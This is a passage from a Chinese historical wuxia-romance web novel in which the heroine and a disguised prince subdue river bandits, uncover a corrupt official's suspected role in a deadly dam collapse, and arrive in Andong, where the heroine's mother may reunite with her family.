不过也就几瞬功夫,她眼珠子转头,明显想打馊主意,吧嗒又跑回棋桌上,撑着手靠近齐铮,鬼鬼祟祟:“日后见到他们,你一定要让他们行礼,到时候我站你前面哈” 看着她认真的模样,齐铮沉默良久,把理好的棋盒推了过去:“再来一局” 宋锦表示,不拒绝就是同意,她张狂一笑,坐回位置上,拿起棋子放在最中间:“来,这一局肯定还是我赢” 齐铮沉默以对 他知道,他输得彻彻底底 秀才遇到兵,有理说不清 他虽然不是秀才,但她绝对是兵王 …… 四个人就这样各自弄着自己的,悠悠闲闲的真就像是出门游玩一般 六个船夫在各个位置观察了一下午,非常确定,这就是几个出门游玩的公子小姐,一个个在家里好日子过多了,不谙世事,一点儿警惕都没有 不过要不了多久,他们就会知道世间的险恶了 一路上又是被嫌弃臭又是被呼来唤去倒水烧茶的船夫浪里黑看着渐渐汹涌的河水,还有那逐渐昏暗下来的天色,他笑容逐渐狰狞起来,拿起竹竿敲了敲船面,沉闷的敲击声传了出去 一下,两下…… 所有人都做出了回音,紧接着不过短短几瞬,本来往前的船只突然调转了方向,朝着另一边的山涧夹缝中驶去,最终卡在了石缝间停住 周围水浪汹涌,空无一人,只有陡峭险峻的崖壁 船上,宋锦停下了棋盘,拎着一边瘫软,脸色发白的梁济水来到牛铁兰的旁边,小声嘀咕:“娘,真有什么来不及的,你就拿他挡哈,缺胳膊断腿也是小问题,我们养得起” 晕得吐了几次的梁济水垂死病中惊坐起,瞪大双眼,虚弱:“等,等等,我胳膊,胳膊还能要 这个问题一点儿也不小 牛铁兰对着宋锦眼中的认真,失笑:“我不会有事的,放心” 曲茂泽噙着笑,慢条斯理:“金金放心,爹虽然一把年纪了,但是护着你娘没有问题,你就放心玩吧” 母女俩齐齐瞪他 牛铁兰:“玩什么玩?这叫玩?” 宋锦:“乱喊什么呢,信不信我先收拾你?” 曲茂泽叹气:“好吧,郡主去做正事吧,在下会照顾好夫人的,万死不辞” 这听着也怪怪 宋锦轻哼一声:“记住你说的,我一会儿就回来,娘你乖乖的” 牛铁兰:“……赶紧走” 宋锦安置好人,晃晃悠悠走了回去 那边,齐铮一个人站在船边,三个船夫朝着他走去,和之前的老实和气相比,他们一个个换了副嘴脸,脱下上衣,露出遒劲的上半身,手上拿着木棍短刀逼近 宋锦不忘保持人设,大惊小怪地尖叫一声:“你们干什么?” 齐铮嘴角一抽,转过身来,看着三个光着上身的人,眉头紧紧皱起,面色也一点点冷肃了下来:“为何不穿衣服?” 没看到还有两个女眷吗? 三个人狰狞之色顿住,怀疑自己听错了 他们有三个人啊,手上还有刀,这反应不对吧? 带头的浪里黑狰狞一笑:“小子,就算你有功夫在身,我们可是三个人,切莫猖狂” 更何况 三个人哈哈一笑 船舱处传来阵阵脚步声,不过片刻船内又冒出来了六个人,精准地分为两拨人,一拨围住齐铮,另一拨朝着宋锦牛铁兰袭去 擒贼先擒王,虽然齐铮这个‘护卫’只有一个人,定然打不过他们那么多人,但是他们可不是那种莽撞之人,能简单解决,为什么要这么麻烦? 只可惜 宋锦就等着他们动手呢,她看着冲过来的人,刚想动手,又停下来,举起手,真诚询问:“你们平日杀人吗?” 紧张的局势下,宋锦这一问格外的反常,尤其是配着她淡然的模样,冲上来的船夫们都困惑了 浪里黑皱起眉头,目光挨个从四人脸上划过,看着他们如出一辙的淡然模样,心里顿时有些不妙,但是到底他们人多,一个个也是老手了 他狰狞一笑:“杀,怎么不杀,就杀你这种细皮嫩肉娇蛮的大小姐,一会儿抓住把你的肉都割下来喂鱼” 宋锦有些遗憾:“最烦你们这种说大话的了” 但凡他们真是这个意思,她都能直接下死手,留下几个人就好 现在嘛 算了,她看着一个个大块头,扭着手,莞尔一笑:“勉强也能让我活动一下筋骨” 她话音落下,便以迅雷不及掩耳之速,冲上前扭着人一个摔地,折着人的腿一个用力,咔擦一声,一阵哀嚎声响起,来人瞬间失去反抗能力 宋锦没有停留下来,她的本意也不是打架,而是把人都留下来。她直接滑倒在地,拉起一旁的渔网直接散了过去,手中银针飞去,戳入他们的肩颈之间,没一会儿一群人就直接倒地,惊恐地捂住脖子脑袋,神色恍惚 浪里黑瞳孔瞬间一缩,下意识直接朝着船外蹿去 可惜,他的旁边便是齐铮,他前脚跃起,后脚就重重摔在船上,身上唯一的裤子往后一掉,大半张屁股蛋子露了出来 宋锦的口哨声下一秒传来:“哟,不错嘛,你说说,你们一个个这般好的身材,下海多好啊,合法合规,下什么水啊,这个不合法的” 浪里黑恼羞地拎起裤子套上,梗着脖子,一脸悲愤:“愿赌服输,我们认栽,说吧,是谁派你们来的” 其他哀嚎的人也一个个悲愤不屈了起来,活脱脱像是被屈打成招的无辜人士 宋锦惊了 不是啊,这话听着对吗? 谁才是劫匪啊 第106章 他是极其倒霉 宋锦怀疑自己被碰瓷了 不对劲,真的太不对劲了 她以前(上辈子)出门可碰不到这些事情,她走到哪儿哪儿的人都跑得远远的,哪儿会像现在这样啊 她一屁股坐在围栏上,眯着眼睛看着前面的人 总共十二个船夫,他们被绳子结结实实捆成了两排,一个个也不知道是什么习惯,光着个上半身,肌肉魁梧,半跪在地上,手脚绳索捆绑 宋锦苦大仇深的脸色变换,最后毫不意外地想歪,冲着一旁的牛铁兰挤眉弄眼 还挺好看的是吧? 正经观察着船夫的牛铁兰嘴角一抽,没好气地嗔了回去 死丫头 母女俩眉来眼去,一旁的曲茂泽眼神微眯,周身冷凝,看着这些个匪盗,声音凉凉 “有什么好问的?我看直接绑住手脚扔水里就行” 齐铮颔首:“曲叔说得有理” 浪里黑是几人的老大, 见此冷笑:“要杀要剐随你们,但是这截水路来的人极少,你们愿意待十天半个月等着,再抓一波水匪,就杀了我们吧” 宋锦翻身跳下,覆手抱在胸前,啧啧:“威胁我们?觉得没了你们我们就走不了了?” 行不行她现场给他们表演一个水上漂? 浪里黑梗着脖子,阴阳怪气:“我哪里威胁得了大小姐啊,您这武艺高强的,一路装模作样也累了吧?” 宋锦笑:“那你可高估自己了,就你们这三脚猫的功夫,我怎么会累?” 浪里黑:…… 宋锦继续:“我还以为会是多大阵仗呢,结果就这么几个人?没有其他的了?山上也没了?” 她看着面前的这些人,总觉得哪儿不对 太少了,也太弱了 她看向齐铮 齐铮皱着眉头,微微摇头 两个人下意识的,又看向站在另外一侧的曲茂泽 他似笑非笑:“有什么好问的?直接扔水里就是” 宋锦不确定:“就这样了?” 曲茂泽轻笑:“不然?你还想问一下前因后果,分辨每个罪行,送去府衙调查一番?大衍律令,遇劫道者,可直接斩杀” 其他的不重要 宋锦和齐铮面面相觑 “那也行吧,我们也不方便去府衙,早死晚死都是死,你们上路吧”最后,宋锦像是下定了某种决定,捡起地上的长刀,慢吞吞走了过去 “放心,我出手很快,不会有半点疼痛的” 眼看着长刀锋利的刀刃靠近他兄弟脖上,浪里黑脸色一变,大喊:“刀下留头,大姐饶命,我招,我都招,你想知道什么就问吧,放过老七” 宋锦停住长刀,挑眉:“大姐?” 浪里黑改口:“大侠大侠饶命,我们真的不是故意的啊,是有人,是吴麻子那些人,对,就是他们故意让我们来的。他们说你们人傻钱多,带着很多钱,我们帮里大哥病重,要人参治病,就,就,我们真没恶意,就打算要点钱” 宋锦啧啧,一巴掌过:“要钱还没恶意?说谁傻呢?蠢货,这么缺钱,怎么不把船卖了?还不是心思不正” 浪里黑憋屈:“船,船又不是我们的,是吴麻子的” 宋锦若有所思,看向那边木屋方向,底下连着船舱,刚才六个同伙就是从里面出来的 现在 齐铮低声:“我去看看,你守着这边” 如果是安静的房间内,呼吸动静瞒不过他们,但是船行驶在浪涛间,周身声音嘈杂,能掩藏住很多东西 他们早就猜到浪里黑几人不对,也想到会藏人,所以才一只待在外面 没想到还分了两伙 齐铮瞥了瞥浪里黑,对他的话不全信,但是也信他是被骗了 真是一伙的,底下的人要么冲上来要么跑了 他揭着长剑,锋利的剑刃散着寒光,戳在甲板上刻出刀刀深痕迹,一只划到下船入口 从梯道上看去,底下箱子货物林立,安安静静 齐铮没有下去,只是道:“我数到十,不出来我直接放火了” “十” “砰” 底下传来碰撞的声音 “哎呀疼疼疼,别放别放,怎么直接十了……” 齐铮手上也自然没有火把,只是随口唬人,没想到这人这么不经吓 不是过于胆小,就是很了解他 他警惕起来,手臂绷直,手中长刀直对下方,随时准备杀下 底下还在乒乒乓乓,藏在箱子里的人,艰难地打开外面,然后灰头土脸地滚了出来 船底没有光亮,漆黑一片什么也看不清,齐铮只能看清大概的人影 矮小、干瘦,麻子 齐铮眉头一皱,侧开身子,淡淡的月光照进船库 一个穿着蓝色衣服,瘦小得宛如猴子,满脸麻子的男人从底下艰难爬出出 吴麻子嘴里嚷着:“严哥,严大侠手下留命,是我,瘦猴,以前和你以前跑镖的瘦猴啊,是那个不爱洗脚,被你救了狗命的瘦猴啊……” 有点印象了 在他还叫严铮的时候,确实和着人一起跑过镖,不过也是五六年前的事了,当时他们相处得也不是很和谐 齐铮退后几步,看着捂着腰艰难爬上来的吴麻子:“吴庸?” 吴麻子好多没听到这个大名了,尴尬挠头:“是我,没有用的瘦猴” 齐铮没有放下警惕,他后退两步,长剑指着他,问:“就你一个?” 吴麻子讪讪:“就,就我,我就是,好久没见到严哥你了,又见好些人盯上你们,才让浪里黑他们先行一步” 浪里黑悲愤:“我就知道是你这个狗娘养的” 吴麻子一点儿也不生气,他小时候娘没奶,他就是吃狗奶长大的,说狗娘养的也没问题,他掏了掏耳朵:“还不是你贪心,你就庆幸碰上的是严大侠吧,换个人你们死得不能再死,还敢信闯江蛇的话,真以为他们那些水匪那么好心?” 浪里黑恼羞:“那也比你好,你等着我们兄弟几个出事,你也跑不了” 吴麻子嗤笑:“就凭你们那要死不活的过水蛟?” 浪里黑怒:“你再说一句试试” …… 两个人就这么旁若无人地吵了起来 宋锦一脑子的问号,抱着手走了过来,用肩膀撞了撞齐铮:“你认识?” 齐铮点头:“以前一起走过镖,和李青山也认识” 宋锦挑着眉头:“那这是是什么意思?玩我们呢?” 齐铮嗯了一声,又补充:“也不好说,保持警惕” 宋锦有些不耐,她最烦这种弯弯道道的了,看着那边还在吵架的吴麻子,一点点眯起了眼睛 下一瞬 吴麻子脖子一凉,他瞬间僵住,举起手:“严哥饶命,我真就是开个玩笑,没有恶意的,你大人有大量,原谅我吧” 宋锦:“严什么严?是你姑奶奶我,给我老实点,好好交代,不然小心你的脑袋” 她手上轻轻用力,锋利的刃面划破他的脖子,冰凉之下,稠粘鲜血涌出 吴麻子僵在原地,转头对上宋锦冰冷的眼,像是野兽一般,带着撕碎猎物的凶性,让人一点儿也不怀疑她下得去手 吴麻子哆哆嗦嗦:“有,有话好好说啊,姐,大侠,严哥严哥救命啊,我真没坏心思,你快说句话啊” 齐铮看了眼他脖子上的血丝,就把目光挪到了宋锦脸上 月光下,她手持长剑,凛冽的剑光照在她的眼侧,凤眸狭长,里面寒光阵阵,让她整个人都带着一股锐利之气 和平日的张扬嚣肆又不太一样 齐铮有些挪不开眼,在吴麻子的再三拉关系下,轻声:“我现在,听她的” 所以别找他 他们以前也没那么熟 听到这话,宋锦嘴角轻轻勾起,手上力道又是加重:“最后一次机会,我数三声” “三” “我说我说,是梁济水,我是为了那小子来的,没想到他鬼机灵得很,认出了严哥赖着不走,我们 不想暴露,就想着到时候趁乱带走他” 吴麻子不敢赌,生怕她三一下就给自己重重一刀,他紧紧抱住脑袋,就跟窜稀似的,一骨碌道 “但是严哥你放心,我们真没有别的想法,那些跟着你们的其他人我们也收拾了,浪里黑这蠢货虽蠢,也就抢点钱,不会越界,我们也是没办法,不是不相信你,是这事事关重大,不想你牵扯进来连累你……” …… 今年六月,梁城蔡孝镇突发暴雨,连带着洪水淹没了十六个村庄的农田,上千亩良田毁于一旦,百姓颗粒无收,更因为洪水死伤上千,损失惨重 “梁城的水渠一向维护很好,那场大雨也没那么大,大坝怎么可能突然塌了?说是山塌了压下,但是我不信,再是山洪,怎么可能这么快?”吴麻子咬着牙,眼睛通红 “如果真是大雨塌了我也就认了,但是如果这样,他们为什么第一时间拦了那边不让人过去?我偷偷摸进去几次,都有好些人看守,后面没两个月负责人梁绍元就死了,若说其中没问题怎么可能?我阿爹阿娘前脚还上山找菌子,后脚了就没了” 宋锦听了半晌,拎着瘫成一坨的梁济水,问:“这小子就是梁绍元的儿子?” 梁济水努力挣开:“放开,我要去梁城,我要报仇” 宋锦轻轻一按,人就像个乌龟一样爬在地上起不来了,她嗤笑:“报仇?你知道谁是仇人?” 梁济水恶狠狠:“我就是知道,是县令,是那个死老头,我要去杀了他为我爹娘报仇” 宋锦挑起眉头,再看向跟着沉默下来的吴麻子,挑起眉头:“还真是?有证据?” 吴麻子重重擦了擦眼角,点头:“有一些,但是不够,我们上次说的时候被这小子听到,他就偷偷跑了,后面,就这样了。严哥,不是我不信你,只是不想牵连你。那县令,万丰郑家的人,背后是宫里,别说我们证据还不够,就是够了,也得罪不起” 齐铮坐在一旁,身上的沉默老实一点点褪去,露出其中的锋芒和凌冽,他全程沉默,一开口:“所以你打算截杀朝廷命官?” 吴麻子说不出话来 他太了解齐铮了,沉默寡言,看着不好相处,却特别心细仗义,不过十四五岁孩童年纪,却能帮顾很多人,也耽搁了些事,让他们很看不惯 直到危险降临到他们头上 齐铮依旧一言不发,冒着危险一个个解救 即便那已经是五年前的事了,但一个人骨子里的秉性不会因此改变 吴麻子不想齐铮掺合进这些事情,不想连累他,也怕他阻拦,只是道:“这事和你无关,等明日到了地方你们下去,只当没见过我,反正我们本来也不熟” 宋锦直接坐在甲板上,听着这些乱七八糟的事情,啧啧两下,直接往后倒去,靠在牛铁兰的怀里,仰着脑袋:“娘,你说他是不是倒霉蛋?走到哪儿都能碰到事” 牛铁兰失笑 她也看过齐铮写的书,自然知道他那些年的经历,说倒霉都是委婉了 他是极其倒霉 不过这话不好听,她戳戳宋锦脑袋:“胡说八道,别闹腾了,快些解决吧,有些困了” 宋锦立马坐了回去,撞了撞齐铮:“听到没有,让你快点解决呢,岐王殿下” 齐铮凛冽之气散去,带上些无奈 闹是她要闹,听也是她要听,现在结束 也行 他看向一脸错愕的吴麻子,颔首:“行事切莫冲动,既然你们有证据,便用证据说话。等明日我们下船,你们回去广宁府寻知府贺伯,重查此事。若真有内情,无论身后之人是谁,皆按律来” 吴麻子怀疑自己听错了,呆呆地看着齐铮,磕磕巴巴:“什,什么齐,齐王?你改名了?” 几年过去,齐铮脸上的少年气消失,只有成人的俊美硬实,但是,确实是当年的那个小侠客孤儿,无父无母,自小流浪 什么王的,应该是他听错了吧 吴麻子难以置信 齐铮却只是掏出一枚令牌,递了过去,沉声:“剩下的,应该不需要我教你吧?” 吴麻子呆呆地看着手上的令牌,上面的岐字格外显眼,泪水一点点涌出,模糊了视线 他早早出门跑镖,就是为了让阿爹阿娘过上好日子,现在船有了,钱也有了,他们却死不瞑目 齐铮又道:“至于其他人,死罪可面,获罪难逃,就在当地服役一年,帮助百姓重建家园吧” 吴麻子擦去脸上泪水,紧紧捏着令牌,重重匍匐在地,一下又一下地磕着头 “王爷大恩大德,吴麻子下辈子做牛做马也要报答……” 第107章 安东侯夫人 “万丰郡郑氏,以商贾起家,重利精算,女眷多送予士族豪强,男子捐官读书,一年年下来,郑世出了不少官吏,虽然多是普通官吏,但是再往后多年就不好说了……” 行船跨过山涧,一路沿着江河往下,破开夜色,循着升起的红日,踏入安东府的界限 宋锦靠在船栏上,听着齐铮说着郑家的情况 他们身后最大的靠山,其实就是晋王和英国公府 前朝战乱不断,各地英豪不断,郑氏作为商户,没资格也没能力参与争夺战,但是聪明地把族中女子送往各个势力‘投诚’,这种乱撒网的行动,极容易引起那些人抵触,拿女子撒气 但是郑氏不在意,便是十个失败九个,有一个成功,他们也成功了 他们确实也成功了 那年送进齐家极其不起眼的女子,以最微弱的姿态,将儿子送进了宫内,成为了最后的胜利者,最后又将新人送进英国公府 二十年过去,郑氏这在当时让很多人不耻的举动,让他们一跃成为当地豪强,少有人敢招惹 宋锦听着这熟悉的操作,眸光一点点暗了下去,扯着嘴角:“他们家孩子可真多啊” 齐铮:“多是收养的外面孤儿,养大又以郑家名头送去” 大衍重孝,甚至更重养恩,那些人被郑家养大,如何也脱离不了郑家,也没有这个必要,所以在外,郑家人还是很团结的 郑家就是大树,郑家人就是树枝,枝又生枝,脉又连脉,枝叶伸得太开了,到了现在,想要全部除掉,基本不可能 听到收养两个字,宋锦眼中的戾色越发浓烈,她侧身看向对面 牛铁兰站在边上,手上拿着钓竿,在那里生疏地拉着鱼竿,惊奇又欢喜 明明是再简单不过的游玩,但她这些年几次三番命悬一线,很少出门,更别说游玩了 宋锦这次过来,只是想带牛铁兰去安东府寻阮南林见上一见,让人不用再耿耿于怀,偏偏总能碰上这些乱七八糟的事情 她扯着嘴角:“郑家和于家关系如何” 齐铮低头,看着她眉眼间的戾气,心里已经有了猜测,低声:“郑家现任主母,是于家家主的亲妹妹” 宋锦冷笑两声:“这可真巧啊,他们都在万丰郡?” 齐铮:“郑家在,于家在千河郡” 宋锦眸光转动:“就在安东郡旁边?那就有意思了,你说,我那阿爷知道这事吗?” 便是他不在意她娘这个女儿,但被屠了府,艰难捡回一条命,这个仇总不能不记吧? 齐铮不是很确定,但是联想自己知道的多方信息,猜测道:“应该是不知道的,我以前听过安东君的名号,是个嫉恶如仇的人,这种生死之仇,他若知道,应该不会如此平静” 现如今两边势力还算井水不犯河水 宋锦看向那边满甲板上艰难抓鱼的亲娘,心想,若那人如果真的知道真相还不在意的话,她们这一趟纯粹就白跑了 只希望不是如此吧 她静静地看着牛铁兰,又一点点移到了噙着笑的曲茂泽脸上:“那你说,他知道吗?” 相比起其他人,宋锦更在意的还是曲茂泽 不说别的,就论这人的危险性,她都很难完全信任他,更别说从相遇到现在,他从来都是一副气定心闲,游刃有余的模样,让人很难看透他真正的想法 他藏得太深了,也就是牛铁兰身上的蛊确实少不了他,他也舍得割肉放血,不然宋锦都不会让他跟着一起 齐铮也跟着看去 那边,牛铁兰她一惊一乍地抓鱼,好不容易把钓上来的鱼抓回来放到桶中,狠狠松了口气 旁边噙着笑看着都曲茂泽脚一抬,一桶水撒在地上,里面的鱼虾全部跑了出来,在甲板上面蹦跳,他无辜:“哎呀,不小心” 牛铁兰恼怒:“曲、茂、泽,给我捡起来,你自己捡” 曲茂泽轻嘶一声:“手有点疼啊” 牛铁兰咬牙切齿,狠狠瞪他,但是这些全都是她自己用网捞起来和钓上来的,少一个她都舍不得 于是她骂骂咧咧蹲下身捡鱼虾,捡一个瞪一眼,捡两个瞪两眼 曲茂泽勾着唇闷笑两声,回头看了过来,径直对上宋锦和齐铮的打量的目光,他收了笑,轻咳一声,蹲下去跟着牛铁兰一起捡着鱼虾,却也一点不老实,时不时和牛铁兰捡上同一条鱼,按住她的手 很不 要脸了 宋锦磨着牙:“你说,他到底知道还是不知道?” 候巧荷假死一事既然是他策划的,那他定然知道身后的事。但是这么久了也不见他说一句,每天悠哉悠哉的,就知道骚扰她娘 宋锦看着他都烦 齐铮看着她纠结的模样,思索片刻,小心道:“曲公子肯定是知道的,至于他为什么不说,可能是想你先开口?” 宋锦瞪眼:“凭什么我先?我欠他的?” 齐铮默默看着她不说话 宋锦就这么瞪着他,脸色一点点变幻 她还真是欠了他的 没有他,她就是个普通乡下小老百姓,除了一身武艺平平无奇 因着他,她现在是郡主了,地位有了钱有了 想到这些,宋锦有些心烦地抓着脑袋,抬脚踢了踢他,嘟囔:“烦死了,你会不会说话啊” 齐铮迟疑地摇了摇头,一字不发 他确实不会说话 宋锦给了他个大大的白眼,转过身,双手合在嘴边,扯着嗓子大喊:“好烦——” 齐铮:…… 另一边,牛铁兰被她这突然大吼吓了一跳,手上一个用力,便被虾戳了一下,她嘶了一声 曲茂泽拉过她的手,看到她指尖的血迹,轻轻含入嘴里 牛铁兰愣了一下,脸颊迅速染上红晕,有些心虚地往外看了两眼,确定宋锦他们没看这边,才松了口气,想抽回手,没抽动 指尖就这样被他轻轻含在嘴里,舌尖轻轻擦过,温热又黏腻 她红着脸,压着声音:“你干什么?放开,脏死了” 她刚才可捡了一地的鱼虾,全是那股子腥味 曲茂泽轻轻舔舐两下,放开了手,不过一会儿,指尖上的伤口消失无踪,他勾着嘴角,道:“鱼虾刺带毒,运气不好容易感染” 牛铁兰愣了一下,看着复原的指尖,咬着唇,瞪:“比红线蛊还毒?” 见她没被糊弄,曲茂泽闷声低下,转移话题:“金金怎么了?要不要过去看看?” 宋锦还在那边啊啊啊大叫,也是他们已经远离了峡谷区域,不然声音会更洪亮 牛铁兰瞥了一眼就收回目光,没好气道:“有什么好看的?发癫呢” 曲茂泽失笑,也不作妖了,快速地把剩下的鱼都捡了回去 他们路上有一截刚好有鱼群,捞了不少鱼,但是留下的,也就牛铁兰亲自弄的这点杂七杂八小虾米还留在这里 他看着木桶里还活泼乱跳的小虾米,轻笑:“还有一个时辰就到安东郡了,刚好还赶得上拿过去给岳父做午饭” 牛铁兰抿起了嘴,脸上染上愁色 曲茂泽伸手摸了摸她蹙起的眉:“怎么?不想见人?” 牛铁兰摇了摇头:“也不是,就是” 二十七年过去,她对阿爹的印象也只有一点点,想不起人长什么样子了,就是见到人也认不出来,更别说她阿爹了 她这边情况也复杂,还不知道相认是好是坏 曲茂泽习惯性地脱口而出:“近乡情怯?有什么好怯的,那老不死的” 牛铁兰面无表情地看向他 他轻咳一声,“习惯了,我早年和岳父大人,有些小矛盾,但是夫人放心,我不是那种记仇的人,早就把那些旧事抛在脑后了” 牛铁兰冷笑:“是吗?” 她怎么没看出来过去了? 曲茂泽轻笑:“自然,以前的一切都过眼云烟,只是现在的我一穷二白,无根无底,也不知道岳父会不会嫌弃,到时候夫人可千万不要抛下我啊” 牛铁兰给了他个白眼:“无媒无聘,无名无分,我们可说不上这话” 这话她不是第一次说了,也可以说是她的心结 曲茂泽看着她黯下的神色,伸手挑起的额发,喟叹一声:“虽未八抬大轿,但也是拜了父母天地,怎么算是无名无分?” 牛铁兰杏眸莹润,并不是很信曲茂泽的话,反问:“有吗?” 曲茂泽叹息:“我不会拿他们开玩笑的,月即之处,他们目光可即,若这不叫高堂,什么叫?非要那两块木片才是?” 牛铁兰怔怔地看着他 想到那年,也是月圆之时,他突然拉着她,换上了红衣,对月叩首,就这么简单匆匆地完成了拜堂。那时的她从山里出来,对这些知之甚少,只觉得个浪漫不同,后面独自带着孩子生存,才知道其中差别 曲茂泽的解释,换个人的话,那和糊弄人没什么差别,但是是他的话 牛铁兰咬了咬唇,挪开了眼:“那也名不正言不顺” 曲茂泽就这么看着她,脸上的笑意一点点淡了下去 牛铁兰也一步不让,就这么看了回去 突然,曲茂泽伸出了手掐住她的脸,声音带上了遗憾:“还真是长大了啊” 若是以前,她绝对不会这般直白地表达自己的不满 牛铁兰一巴掌拍了过去,掐着他的手腕,继续用那双盈盈的杏眸看着他,里面全是倔意 曲茂泽败下阵来,捏着她的手把玩,在这么多天不明不白的暧昧后,给出了第一个承诺:“等你好了,我带你回去祭拜我阿娘和那人” 牛铁兰挪眼,嘴硬:“谁稀罕” 曲茂泽轻轻捏着她的手,轻笑:“我稀罕,不过,在那之前,还是要先见见岳父,我们一会儿是直接过去,还是先歇息一番再去?” 牛铁兰手一点点攥紧,犹豫再三,还是退缩 “先,先找个客栈歇息一下吧” …… 安东郡是江南六郡之一,也是六郡里发展最好的,便是因为有安东君阮东林坐镇 当年三年争乱,阮东林以一己之力,平定江南祸事,镇压其余兵马,在各家争斗中保持中立,等到齐晔胜利拿下永安城,开始收复其他势力的时候,他也是最快缴兵马平和的,也是唯一一个以封地为号的侯爷 安东侯,大家习惯叫他安东君 他为人慷慨正义,嫉恶如仇,擅兵法,也擅管理,就是,和宋商关系不太好,虽然他们见面机会着实不多,但基本每次都会大打出手,互相嫌弃 可就是这般,在宋商退出新税法,改地法之时,他是最先响应,并且是江南六郡之中实行最好的,安东郡也是江南六郡中百姓人均土地占有最多的郡。 踏入安东郡内,就能看到大片开垦的土地,便是十月寒冬,百姓依旧在地里忙罗,但是从他们的身形脸色便能看出他们的生活过得定然不错 行船稳稳停在了安东君所在的坪阳府,这边也有一个大型渡口,出入东南西北都有河道,很是方便。交通便利,土地肥沃,百姓也安居乐业 吴麻子和浪里黑等人搬运行李上了马车,他低声道:“岐,严哥,这不要我跟着?我虽然没什么本事,但是对这一片很熟,有点什么也勉强说得上话” 齐铮看着吴麻子这样,心里也有些感慨,初见面时,吴麻子还是穷得叮当响,肉都舍不得吃的人,现在也有了家底了 他摇头: “无需,我们过来只为私事,你去办你的事就好,但切勿莽撞,你爹娘在天之灵,肯定希望你好好活着” 吴麻子眼睛一红:“我知道了,严哥你放心吧” 齐铮颔首,再看向浪里黑等人,也道:“回去重新来过吧,这一次运气好,还有改过自新的机会,下次就没这么幸运了” 浪里黑等人在得知他是王爷的时候,腿都软了,现在只觉得自己狗命大,也不敢说话,就点着脑袋,老实得不得了 吴麻子道:“严哥你放心吧,我会看好他们这些蠢货的” 他本身也是怕他们日后被人挑拨一时脑热才提前撺掇,让他们吃个亏,后面就知道好歹了,哪想到曾经的大侠摇身一变成了王爷,差点一群人的狗命都搭进去了 吴麻子后怕之余也有些心虚 回去的船上,他应该是少不了几顿揍 宋锦嗤笑两声,拍了拍齐铮的肩膀,转身上了马车 齐铮又看了吴麻子两眼,轻轻拍了拍他的肩膀,低声:“节哀,日后多保重” 说完,他也跟着上了马车,留下吴麻子狠狠擦擦眼泪,捏着怀里的令牌,心中恨意涌上心头 那狗官,他定让他血债血偿 …… 这边,马车哒哒朝着坪阳府前进 坪阳府和广宁府的环境其实差不多,不过比起那边的杂乱,这边的秩序明显好上不少,来来往往的行人小贩跑着,也是挨着两边,没有四处乱窜,他们一边跑着一边说着地方话,叽里咕噜的 宋锦听不懂 牛铁兰倒是怔了怔,轻喃:“好像是,城门有人散粮” 宋锦惊:“娘你听得懂?” 牛铁兰摇摇头,神色怅然:“只是大概,能听懂一点点” 她出事那会儿也七岁了,说话很利,三十多年过去了,却也只听得懂一些了 宋锦拉住她的手,夸道:“那也很棒了,娘你记性真好,等以后,等你好了,可以去当个女夫子,教小崽子识字” 牛铁兰的惆怅之意消散,断然拒绝:“教你这个兔崽子已经废了我半条命,还教其他的?我看你是嫌我命太长了” 宋锦幽怨:“哪有那么夸张” 牛铁兰捏捏她的腮帮子,冷笑:“小时候掰了老娘多少笔,撕了多少纸,需要我和你好好说吗?” 宋锦缩着脖子退到一边,拉开车帘,看着外面城门前越聚越多的人,突然想了起来:“说起来,杨彦珺的迎秋宴也开始了吧?” 她们本来是要去的,现在出门了自然没法,不过还是留了捐款,希望能给那些孩子们过个暖和点的冬。今年冬,比往年要提前一些,也冷上不少 牛铁兰:“也就是这几日了” 宋锦忍不住嘲笑:“说的迎秋宴,不如改名迎冬宴了” 牛铁兰没理她,也跟着走到马车门口这儿,看向外面的百姓 一方水土养一方人,江南自古出美人儿,这边的人肤色比起泗安那边白上不少,再加上日子好,一眼看去男男女女都精神水灵,当然,再是富裕的地方都少不了贫穷的人 那边拍着队喝肉汤的人穿着就要差上了不少,脸色也蜡黄一些 他们今日不像上次拉着酒,就是一车人和一些行李,在坪阳府的城门前豪不起眼,守卫没有翻查,看了两眼人,收了过城费就放行,还不忘提醒 “进去吧,坪阳府夜早,有宵禁,晚上别出门” 这是看出他们是外地人了 宋锦顺着就问:“官爷可知那边散粮的是何人?” 这年头能散粮的,不是钱和权多少得占一样,不然也不敢在城门口来,太招眼了 护卫笑道:“那是我们安东侯夫人,她每月都会在城门散粮,这些年做了不少善事,是我们这边有名的大善人” 宋锦顿住,下意识回头看去 牛铁兰放在腿边的手攥紧,神色黯下几分 二十来年过去,这很正常 牛铁兰不想宋锦担心,她压下心里的酸涩,扯着嘴角,轻声:“没事,先进城歇歇吧” 宋锦抿了抿嘴,落下车帘 马车继续朝内 就在半里外的城门处,严密的守卫之内,黛绿锦衣的中年女人拿着汤勺,耐心地给排队的贫民打着肉汤水,分着玉米馍馍,一直到锅底都干干净净,不剩一点了 她擦了擦额上的细汗,轻柔地冲着面前的人道:“乖孩子,下次再来吧,这次没有了” 脏兮兮的小男孩擦着眼角,带着哭腔:“可是我,我娘生病了,还饿着,我都好几日没吃了” 黛绿锦衣女人轻轻一笑,浅浅的皱纹下,一双杏眸明亮又润泽,她道:“坏孩子,刚才你来过了” 小男孩脸色一变,也不纠着要东西了,端着碗就一溜烟跑了,生怕被她治罪 女人摇着脑袋笑了笑,道:“这鬼机灵的,岚烟,回去给城里育婴堂都捐些肉食吧,他们日子也不容易” 唤做岚烟的丫鬟笑道:“夫人这阵子可捐了不少东西了,要不是侯爷能赚钱,咱们府里家底都得被您捐完” 邰清心嗔:“又笑话我?不就是去年没注意,把府里的炭火送去大半嘛,值得你记一年?” 岚烟叹气:“我哪儿是笑话您啊,我是心疼您,今年天儿冷,您外面折腾得多,自己新衣收拾都不添置,我看着心疼” 邰清心摸了摸自己的脸,感叹:“一把年纪了,也没什么好收拾的,再说,府里我衣服都多得穿不完,没必要浪费这个钱” 岚烟叹气:“您啊” 邰清心无所谓地笑了笑,看着天边飞过的雁鸟,轻声:“我们都这把年纪了,也无所谓这些了,只希望,我多让人少些苦寒,老天爷也能眷顾一下我的玲玲,那孩子,最是娇气了” 岚烟有些心疼,只能道:“夫人就放心吧,小姐吉人天相,肯定平安无事,说不得在外面儿女双全,含孙弄怡” 邰清心眼睛弯了些,便是脸上是藏不住的皱纹,依旧不掩她的美丽,她笑:“也是,她今年虚岁也三十有五了,是个大姑娘了” 岚烟:“是啊,夫人,外面天寒,我们先回去吧” 邰清心:“我身体好着呢” 岚烟:“再好也经不住折腾,我们啊,可不是二三十的年轻小姑娘了” 邰清心笑:“那可不,我们现在都管二三十岁的姑娘叫小姑娘了” …… 